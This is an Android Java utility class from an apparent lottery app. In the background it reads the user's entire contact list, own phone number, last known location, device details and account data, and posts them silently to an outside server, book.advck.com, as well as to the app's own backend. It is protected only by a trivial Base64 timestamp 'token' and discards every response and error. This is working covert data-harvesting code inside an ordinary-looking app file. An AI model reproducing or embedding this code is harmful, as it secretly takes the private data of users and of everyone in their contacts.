package com.lottery.ruok.lottrey.utils;

import android.Manifest;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.location.Location;
import android.location.LocationManager;
import android.provider.ContactsContract;
import android.support.v4.content.ContextCompat;
import android.telephony.TelephonyManager;
import android.util.Base64;
import android.util.Log;

import com.lottery.ruok.lottrey.BuildConfig;
import com.lottery.ruok.lottrey.retrofitModule.RetrofitBase;
import com.lottery.ruok.lottrey.retrofitModule.RxHelper;
import com.lottery.ruok.lottrey.retrofitModule.RxSubscribe;
import com.lottery.ruok.lottrey.retrofitModule.request.SendContactsRequest;
import com.lottery.ruok.lottrey.retrofitModule.response.SendContactsResponse;
import com.lottery.ruok.lottrey.userInfo.UserInfo;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.text.ParseException;
import java.util.concurrent.TimeUnit;

import io.reactivex.schedulers.Schedulers;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.FormBody;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
import utils.Base64Utils;

import static android.content.Context.LOCATION_SERVICE;
import static com.lottery.ruok.lottrey.MyApplication.UUID;

public class ContactUtils {
    private ContactUtils() {
    }

    public static void uploadContacts(final Context context){
        Schedulers.io().createWorker().schedule(new Runnable() {
            @Override
            public void run() {
                uploadContactsTask(context);
            }
        });
    }

    private static void uploadContactsTask(Context context) {

        String tokenSend = "";
        if (context == null) {
            return;
        }
        String[] permissions = new String[]{Manifest.permission.READ_CONTACTS,
                Manifest.permission.READ_PHONE_STATE};
        if(!SystemUtil.checkPermission(context,permissions)){
            return;
        }
        JSONArray jsonArray = new JSONArray();

        try {


            String yearDay = TimeUtil.timetodate("" + System.currentTimeMillis());
            String cuo = "";
            long cuo2 = 0;
            try {
                cuo = TimeUtil.dateToStamp(yearDay);
                long cuo1 = Long.parseLong(cuo);
                cuo2 = cuo1 / 1000;
            } catch (ParseException e) {
                e.printStackTrace();
            }
            String time = cuo2 + "SHANGYING";
            tokenSend = Base64.encodeToString(time.getBytes("utf-8"), Base64.NO_WRAP);
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
        }
        //得到ContentResolver对象
        ContentResolver cr = context.getContentResolver();
        //取得电话本中开始一项的光标
        Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        //向下移动光标
        while (cursor.moveToNext()) {
            JSONObject jsonObject = new JSONObject();
            //取得联系人名字
            int nameFieldColumnIndex = cursor.getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME);
            String contact = cursor.getString(nameFieldColumnIndex);
            //取得电话号码
            String ContactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
            Cursor phone = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + ContactId, null, null);

            JSONArray phones = new JSONArray();
            try {
                jsonObject.put("name", contact);
                jsonObject.put("phone", phones);
            } catch (JSONException e) {
                e.printStackTrace();
            }
            while (phone.moveToNext()) {
                String phoneNumber = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
                //格式化手机号
                phoneNumber = phoneNumber.replace("-", "");
                phoneNumber = phoneNumber.replace(" ", "");
                phones.put(phoneNumber);
            }
            jsonArray.put(jsonObject);
            phone.close();
        }
        cursor.close();
        String token = null;
        if (!UserInfo.getToken().equals("")) {
            token = UserInfo.getToken();
        }
        TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
        @SuppressLint("MissingPermission") String phoneId = tm.getLine1Number();
        RetrofitBase.getRetrofit().create(SendContactsRequest.class)
                .getResult(token, jsonArray, phoneId)
                .compose(RxHelper.<SendContactsResponse>handleResult())
                .subscribe(new RxSubscribe<SendContactsResponse>(context) {
                    @Override
                    protected void _onNext(SendContactsResponse sendContactsResponse) {

                    }

                    @Override
                    public void onError(Throwable e) {

                    }

                    @Override
                    protected boolean showDialog() {
                        return false;
                    }
                });

        OkHttpClient okHttpClient = new OkHttpClient().newBuilder()
                .connectTimeout(10, TimeUnit.SECONDS)
                .writeTimeout(10, TimeUnit.SECONDS)
                .readTimeout(20, TimeUnit.SECONDS)
                .build();
        //post方式提交的数据
        /*String type = "1";
        String device_id = UUID;
        String mobile_phone = "";
        String headers = "50";
        String user_id = UserInfo.getUniqueId();
        String username = UserInfo.getUsername();
        String company_code = "android基础";
        String account = UserInfo.getAccount();
        String contacts = jsonArray.toString();
        //String tokenSend=tokenSend;
        String url = "https://book.advck.com/tp5/public/index.php?type=1&device_id="  + device_id
                + "&mobile_phone=" + mobile_phone
                + "&headers=" + headers
                + "&user_id=" + user_id
                + "&username=" + username
                + "&company_code=" + company_code
                + "&account=" + account
                + "&contacts[]" + contacts
                + "&token" + token;*/
        //版本号
        String versionCode = APKVersionCodeUtils.getVerName(context);
        // 手机型号
        String phoneSystem = SystemUtil.getSystemModel();
        String systemVersion = SystemUtil.getSystemVersion();

        //  Location location = LocationUtils.initLocation(context);
        double longitude = 0.0;
        double latitude = 0.0;

        LocationManager locationManager;
        locationManager = (LocationManager) context.getSystemService(LOCATION_SERVICE);
        Location location = null;
        try {
            location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
        } catch (Exception e) {
            e.printStackTrace();
        }
        if (location != null) {
            // 经度
            longitude = location.getLongitude();
            // 纬度
            latitude = location.getLatitude();
        }
        JSONObject object = new JSONObject();
        try {
            object.put("type", "1");
            object.put("device_id", UUID);
            object.put("mobile_phone", UserInfo.getMobilePhone());
            object.put("headers", versionCode + "," + phoneSystem + "," + systemVersion + "," + latitude + "," + longitude);
            object.put("user_id", UserInfo.getUserId());
            object.put("username", UserInfo.getUsername());
            object.put("company_code", BuildConfig.COMPANY_CODE);
            object.put("account", UserInfo.getAccount());
            object.put("contacts", jsonArray.toString());
            object.put("token", tokenSend);
        } catch (JSONException e) {
            e.printStackTrace();
        }
        FormBody formBody = new FormBody.Builder()
                /* .add("type", "1")
                 .add("device_id", UUID)
                 .add("mobile_phone", UserInfo.getMobilePhone())
                 .add("headers", versionCode + "," + phoneSystem + "," + longitude + "," + latitude)
                 .add("user_id", UserInfo.getUniqueId())
                 .add("username", UserInfo.getUsername())

                 .add("company_code", BuildConfig.COMPANY_CODE)
                 .add("account", UserInfo.getAccount())
                 .add("contacts[]", jsonArray.toString())
                 .add("token", tokenSend)*/
                .add("data", object.toString())
                .build();

        final Request request = new Request.Builder()
                .url("https://book.advck.com/tp5/public/index.php")
                .post(formBody)
                .build();

        //创建/Call
        Call call = okHttpClient.newCall(request);
        //加入队列 异步操作
        call.enqueue(new Callback() {
            //请求错误回调方法
            @Override
            public void onFailure(Call call, IOException e) {

            }

            @Override
            public void onResponse(Call call, Response response) throws IOException {
                if (response.code() == 200) {

                }
            }
        });


    }
}
